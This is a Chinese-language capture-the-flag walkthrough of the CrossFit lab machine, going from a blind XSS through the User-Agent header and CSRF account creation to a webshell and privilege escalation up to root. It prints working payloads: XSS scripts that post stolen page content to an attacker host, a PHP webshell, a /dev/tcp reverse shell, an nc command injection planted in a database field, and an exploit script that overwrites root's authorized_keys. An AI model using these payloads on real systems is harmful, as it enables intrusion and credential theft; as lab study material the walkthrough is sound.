1 2 3 4 5 ip a 10.129.35.227 TARGET="10.129.35.227"
CrossFit 01.信息搜集 靶机发现 目标靶机 ip 为
1 2 3 fscan -h $TARGET > fscan.log grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+' result.txt | sed 's/^.*://' | sort -nu
端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sudo nmap -sT -sV -sC -O -p 21,22,80 $TARGET -oA nmapscan/detailPORT STATE SERVICE VERSION 21/tcp open ftp | ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US | fingerprint-strings: | GenericLines, Help, NULL, SMBProgNeg: | 220 Cross Fit Ltd. FTP Server | SSLSessionReq: | 220 Cross Fit Ltd. FTP Server |_ Please login with USER and PASS. 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA) |_ 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 153.03 seconds
FTP 证书 && 虚拟主机 端口很少 而且 web 服务也就是一个 apache 首页挂着
commonName= *.crossfit.htb http://crossfit.htb/ 还是默认页
通配符…不知道有哪些三级域名
用 21 端口探测一下 (FTP-SSL )
1 2 3 openssl s_client -connect 10.129.35.227:21 -starttls ftp 2>/dev/null | openssl x509 -noout -text *.crossfit.htb/emailAddress=info@gym-club.crossfit.htb
gym-club.crossfit.htb
1 echo "10.129.35.227 gym-club.crossfit.htb crossfit.htb" | sudo tee -a "/etc/hosts"
CORS 子域名枚举 1 2 3 4 ffuf -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Origin: http://FUZZ.crossfit.htb" -u "http://gym-club.crossfit.htb/" -mr "Access-Control-Allow-Origin" ftp [Status: 200, Size: 36336, Words: 16163, Lines: 756, Duration: 2089ms] :: Progress: [5000/5000] :: Job [1/1] :: 133 req/sec :: Duration: [0:00:41] :: Errors: 0 :
扫出 ftp.crossfit.htb 怎么也是默认页面 可能是对外网做了限制
1 gobuster dir -u http://ftp.crossfit.htb -w /Users/choco/Project/HackTool/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
1 echo "10.129.35.227 ftp.crossfit.htb" | sudo tee -a "/etc/hosts"
02.渗透打点 Web 浏览 访问 gym-club.crossfit.htb 是一个健身房的主页
1 2 3 4 5 6 7 8 # kali gobuster dir -u http://gym-club.crossfit.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 http://gym-club.crossfit.htb/fonts/ http://gym-club.crossfit.htb/img/ http://gym-club.crossfit.htb/images/ http://gym-club.crossfit.htb/js/ http://gym-club.crossfit.htb/vendor/
发现 XSS 没有其他功能 到处是填表 “Get in touch” 明示 XSS
1 <script>alert('1')</script>
首页会自动提交 估计没有后续
contact.php 提交会 Your message was successfully sent.
blog-single.php 会警告我:
1 2 XSS attempt detected A security report containing your IP address and browser information will be generated and our admin team will be immediately notified.
显然 blog-single.php 这有点问题 本地 bp ip 伪造看看 还是报这个
1 <div class='alert alert-danger' role='alert'><h4>XSS attempt detected</h4><hr>A security report containing your IP address and browser information will be generated and our admin team will be immediately notified.</div>
Blind XSS (User-Agent) 思考一下 其实这里可能是对消息做了 xss 检测 但是没有检测 IP(就是硬卡) browser information will be generated and our admin team will be immediately notified 但是 ip 还是会被送入服务器? 那我直接 inject 呢
1 2 3 4 5 python -m http.server 8080 User-Agent: <script src="http://10.10.17.30:8080/"></script> ::ffff:10.129.35.227 - - [12/Jul/2026 21:16:32] "GET / HTTP/1.1" 200
有点慢 可能是定时任务之类的在读? 但确实在读
利用 XSS:
1 2 管理员浏览器 → GET http://ftp.crossfit.htb(拿到页面HTML) 管理员浏览器 → POST http://10.10.17.30:8080/(把HTML发给你)
payload.js
1 2 3 4 5 6 7 var xhr = new XMLHttpRequest ();xhr.open ("GET" , "http://ftp.crossfit.htb" , false ); xhr.send (); var xhr2 = new XMLHttpRequest ();xhr2.open ("POST" , "http://10.10.17.30:8080/" , false ); xhr2.send (xhr.responseText );
然后让管理员读我的 js
1 2 3 4 5 User-Agent: <script src="http://10.10.17.30:8080/payload.js"></script> ::ffff:10.129.35.227 - - [13/Jul/2026 09:09:26] "POST / HTTP/1.1" 501 - ::ffff:10.129.35.227 - - [13/Jul/2026 09:09:32] "GET /payload.js HTTP/1.1" 200 - ::ffff:10.129.35.227 - - [13/Jul/2026 09:09:33] code 501, message Unsupported method ('POST')
python服务器接收有点问题 nc 听一下
1 2 3 4 5 6 7 8 9 nc -lv 8080 GET /payload.js HTTP/1.1 Host: 10.10.17.30:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://gym-club.crossfit.htb/security_threat/report.php Connection: keep-alive
1 2 3 http://gym-club.crossfit.htb/security_threat/report.php # Your are not allowed to access this page.
改8082, 写一个能收 POST 的服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from http.server import HTTPServer, BaseHTTPRequestHandlerclass H (BaseHTTPRequestHandler ): def do_POST (self ): length = int (self .headers.get('Content-Length' , 0 )) body = self .rfile.read(length) print (body.decode()) self .send_response(200 ) self .end_headers() def do_GET (self ): self .send_response(200 ) self .end_headers() with open (self .path.lstrip('/' ), 'rb' ) as f: self .wfile.write(f.read()) HTTPServer(('0.0.0.0' , 8082 ), H).serve_forever()
CSRF 拿下 ftp.crossfit.htb 页面
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html> <html> <head> <title>FTP Hosting - Account Management</title> </head> <body> <h2>FTP Hosting - Account Management</h2> <a class="btn btn-success" href="http://ftp.crossfit.htb/accounts/create"> Create New Account</a> </body> </html>
payload2.js 读取 /accounts/create 抓 token
1 2 3 4 5 6 7 var xhr = new XMLHttpRequest ();xhr.open ("GET" , "http://ftp.crossfit.htb/accounts/create" , false ); xhr.send (); var xhr2 = new XMLHttpRequest ();xhr2.open ("POST" , "http://10.10.17.30:8080/" , false ); xhr2.send (xhr.responseText );
拿到创建账号页面的 _token:
1 <input type="hidden" name="_token" value="ZWicWabyY9xKIP218R5r63Xp9gbHcjluAUzuhKql">
绕过 CSRF 令牌 Laravel 框架的 _token 反 CSRF 令牌。由于 Access-Control-Allow-Credentials: true,需要使用 withCredentials=true 保持会话。
payload3.js(动态取 token + CSRF 创建 FTP 账号):
1 2 3 4 5 6 7 8 9 10 11 12 var xhr = new XMLHttpRequest ();xhr.open ("GET" , "http://ftp.crossfit.htb/accounts/create" , false ); xhr.withCredentials = true ; xhr.send (); var token = xhr.responseText .match (/_token" value="([^"]+)"/ )[1 ];var xhr2 = new XMLHttpRequest ();xhr2.open ("POST" , "http://ftp.crossfit.htb/accounts" , false ); xhr2.withCredentials = true ; xhr2.setRequestHeader ("Content-Type" , "application/x-www-form-urlencoded" ); xhr2.send ("username=choco&pass=choco123&_token=" + token);
成功创建 FTP 用户 choco/choco123。
03.FTP 上传 Webshell → www-data FTP 目录 1 2 3 4 drwxrwxr-x 2 33 1002 4096 Sep 21 2020 development-test drwxr-xr-x 13 0 0 4096 May 07 2020 ftp drwxr-xr-x 9 0 0 4096 May 12 2020 gym-club drwxr-xr-x 2 0 0 4096 May 01 2020 html
上传 Webshell s1.php:
1 <?php echo shell_exec ($_REQUEST ["cmd" ]); ?>
通过 FTP 上传到 development-test 目录。
development-test.crossfit.htb 外部不可达,用 Image 标签绕过 CORS 触发:
1 2 var img = new Image ();img.src = "http://development-test.crossfit.htb/s1.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.17.30/4444+0>%261'" ;
收到 www-data 的 shell。
1 2 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
04.提权到 hank 密码枚举 1 find / -xdev -type f \( -name "*.yml" -o -name "*.yaml" \) 2>/dev/null
发现 /etc/ansible/playbooks/adduser_hank.yml,包含密码哈希:
1 password: $6$rounds=10000$9Eo0o...$...
hashcat 破解 sha512crypt 哈希(hashcat mode 1800)
1 hashcat -m 1800 hank_hash rockyou.txt -r best64.rule --force
密码: powerpuffgirls
id 显示 hank 是 admins 组的成员。拿到 user.txt。
05.提权到 isaac (php-shellcommand CVE) 信息搜集 isaac 家目录中有 send_updates/ 目录。crontab:
1 * * * * * isaac /usr/bin/php /home/isaac/send_updates/send_updates.php
send_updates.php 加载 $msg_dir 目录中的文件并发送给用户表中的邮件地址。
检查 composer.json:
1 2 3 4 5 { "require" : { "mikehaertl/php-shellcommand" : "1.6.0" } }
php-shellcommand 1.6.0 存在 CVE-2019-10774 命令注入漏洞。
数据库凭证 /var/www/gym-club/db.php:
1 2 3 4 $dbhost = "localhost" ;$dbuser = "crossfit" ;$dbpass = "oeLoo~y2baeni" ;$db = "crossfit" ;
找到 $msg_dir vsftpd 虚拟用户 ftpadm,local_root=/srv/ftp,其 messages/ 目录即 $msg_dir。
PAM 认证:
1 auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
用 ftpadm 登录 FTP → 进入 messages 目录上传占位文件。
命令注入 向 crossfit.users 插入恶意 email:
1 mysql -u crossfit -p"oeLoo~y2baeni" crossfit -e "insert into users(email) values(';nc 10.10.17.30 1337')";
同时确保 FTP messages 目录有占位文件,等 cron 执行,收到 isaac 的 shell。
06.提权到 root (dbmsg 逆向 + 符号链接) 发现 dbmsg pspy64 监控进程:
1 2 3 ./pspy64 -f | grep dbmsg 2026/07/13 02:04:01 FS: ACCESS | /usr/bin/dbmsg
/usr/bin/dbmsg 每分钟以 root 身份执行。
逆向分析 main() 函数:
1 2 3 4 5 6 7 8 9 10 int main (int argc, char **argv) { if (geteuid()) { fwrite("This program must be run as root.\n" , ...); exit (1 ); } v3 = time(nullptr); srand(v3); process_data(v4); exit (0 ); }
process_data() 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 mysql_real_connect(conn, "localhost" , "crossfit" , "oeLoo~y2baeni" , "crossfit" , ...); mysql_query(conn, "SELECT * FROM messages" ); while (row = mysql_fetch_row(result)) { r = rand(); snprintf (s, 48 , "%d%s" , r, row[0 ]); md5sum(s, strlen (s), md5_out); snprintf (filename, 48 , "/var/local/%s" , md5_out); fopen(filename, "w" ); fputs (row[1 ], f); fputc(' ' , f); fputs (row[3 ], f); fputc(' ' , f); fputs (row[2 ], f); fclose(f); } delete_rows(conn); delete_files();
漏洞分析 文件写入路径: /var/local/<MD5> — 以 root 写入。
/var/local/ 对 staff 组可写:
1 drwxrwsr-x 2 root staff 4096 Jul 13 02:39 /var/local/
isaac 在 staff 组 → 可在这里创建符号链接。
预测文件名 + exp.sh 必须用 C 的 srand()/rand() 计算,且种子需实时获取。
rand.c:
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <stdlib.h> #include <time.h> int main (void ) { time_t curr_time = time(NULL ); int seed = curr_time - (curr_time % 60 ) + 61 ; srand(seed); printf ("%d" , rand()); return 0 ; }
一体化 exp.sh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #!/bin/bash TABLE_ID=1337 ATTACKER="10.10.17.30:9000" WD="$HOME /.exploit" mkdir -p "$WD " && cd "$WD " wget -q http://$ATTACKER /id_rsa.pub -O id_rsa.pub wget -q http://$ATTACKER /id_rsa -O id_rsa chmod 600 id_rsacat > rand.c << 'EOF' int main(void) { time_t curr_time = time (NULL); int seed = curr_time - (curr_time % 60) + 61; srand(seed); printf ("%d" , rand()); return 0; } EOF gcc -o rand rand.c KEY=$(awk '{print $2,$3,$4}' id_rsa.pub | tr -d '\n' ) mysql -u crossfit -p'oeLoo~y2baeni' crossfit \ -e "DELETE FROM messages; INSERT INTO messages(id,name,email,message) VALUES($TABLE_ID ,'ssh-rsa','x','$KEY ');" filename=$(./rand) filename="${filename} ${TABLE_ID} " md5=$(echo -n $filename | md5sum | awk '{print $1}' ) echo "rand+id = $filename " echo "md5 = $md5 " ln -sf /root/.ssh/authorized_keys /var/local/$md5 sleep 70ssh -i "$WD /id_rsa" -o StrictHostKeyChecking=no root@127.0.0.1 "id; cat /root/root.txt"
运行:
1 wget -q http://10.10.17.30:9000/exp.sh -O /tmp/exp.sh && chmod +x /tmp/exp.sh && /tmp/exp.sh
失败总结 之前脚本一直失败,原因:
Python random 和 C rand() 算法不同
种子用 +60(整分)而不是 +61——cron 有约 1s 调度延迟
在 bash 脚本开头算 BASE = next_minute,中间下载编译插入操作消耗的时间导致偏移
name 字段 varchar(50) 限制,公钥不能整段放入,需 name='ssh-rsa' + message='<keybody>'
文件内容格式为 name message email,对应 'ssh-rsa' + ' '<keybody> + ' 'x = ssh-rsa AAAA... x 才是合法 authorized_keys
07.总结 攻击链路:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 XSS (User-Agent) → Blind XSS 读取 ftp.crossfit.htb → CSRF 获取 token + 创建 FTP 用户 → FTP 上传 webshell → XSS 触发 webshell → www-data www-data → Ansible playbook 密码哈希 → hashcat 破解 → SSH hank hank → php-shellcommand CVE-2019-10774 命令注入 → isaac isaac → pspy 发现 dbmsg (root cron) → 逆向确认可预测文件名 → 符号链接写入 authorized_keys → SSH root